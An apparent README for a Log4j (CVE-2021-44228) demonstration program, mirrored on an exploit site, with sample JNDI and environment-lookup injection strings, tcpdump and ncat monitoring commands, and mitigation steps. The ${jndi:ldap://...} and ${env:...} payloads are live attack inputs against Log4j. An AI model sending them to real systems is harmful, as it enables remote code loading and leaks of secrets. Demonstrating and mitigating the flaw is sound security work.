Share
## https://sploitus.com/exploit?id=9326CB66-BADC-5643-B118-F38C39A9E34C
# Log4j_Vulnerability_Demo
A simple program to demonstrate how Log4j vulnerability can be exploited ( CVE-2021-44228 ) 

## Running the Demo :
To start the program, simply run the start.sh ( on UNIX systems ) or start.bat on Windows.

User input will be read and logged to console using the Log4j framework. 

By default, the logging messages generated by the Log4j library do not provide any server unreachable / host not found errors for the JNDI substitutions. ( And I guess that's also a major reason why this vulnerability can be exploited with stealth )

Also try to use subdomains, like ${jndi:ldap://test29.google.com/blah} , sometimes the JNDI call will wait for the response from the remote server and that's why program looks like its stuck while it has actually made a connection attempt in the background. If you use subdomains which don't exist, JNDI call will quickly terminate after making a connection attempt and the program will continue.

I recommend you to run the program in one shell, and run the " tcpdump -i any | grep google " command on another shell in parallel and then provide inputs to the program to see whether the program has made a connection attempt.

### Log4j substitutions in action :

![image](https://user-images.githubusercontent.com/25263964/149064428-e32de710-2358-4b70-adf3-a47d5569e47f.png)

### Attempting Remote Connections:

![image](https://user-images.githubusercontent.com/25263964/149062401-6465fa48-bf9b-4db7-b9e6-cc3f5b4d6dd3.png)

![image](https://user-images.githubusercontent.com/25263964/149062422-fe074424-22a0-42e1-959c-88afd5d77479.png)



### Some sample inputs :
testing ( Normal String )
### Examples which can be more than just a log message :
#### ${env:USER}  ( UNIX )
#### ${env:USERNAME} ( Windows )
#### ${jndi:ldap://test.java.net}
#### ${jndi:ldap://localhost:12000}
--

### Monitoring :
#### tcpdump -i any | grep -i "java.net"
#### ncat -k -vv -c "echo hi" -l 12000
--

### Removing the JndiLookup Class to mitigate the vulnerability :
#### zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

#### This will delete the JndiLookup.class from the Log4j core Jar.
#### Run the same program after the above step, the program shouldn't make any connection attempts / JNDI substitutions.
--
#### Another way of disabling JNDI Lookups
#### export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
##### This environment variable will disable the JNDI lookups for the current session.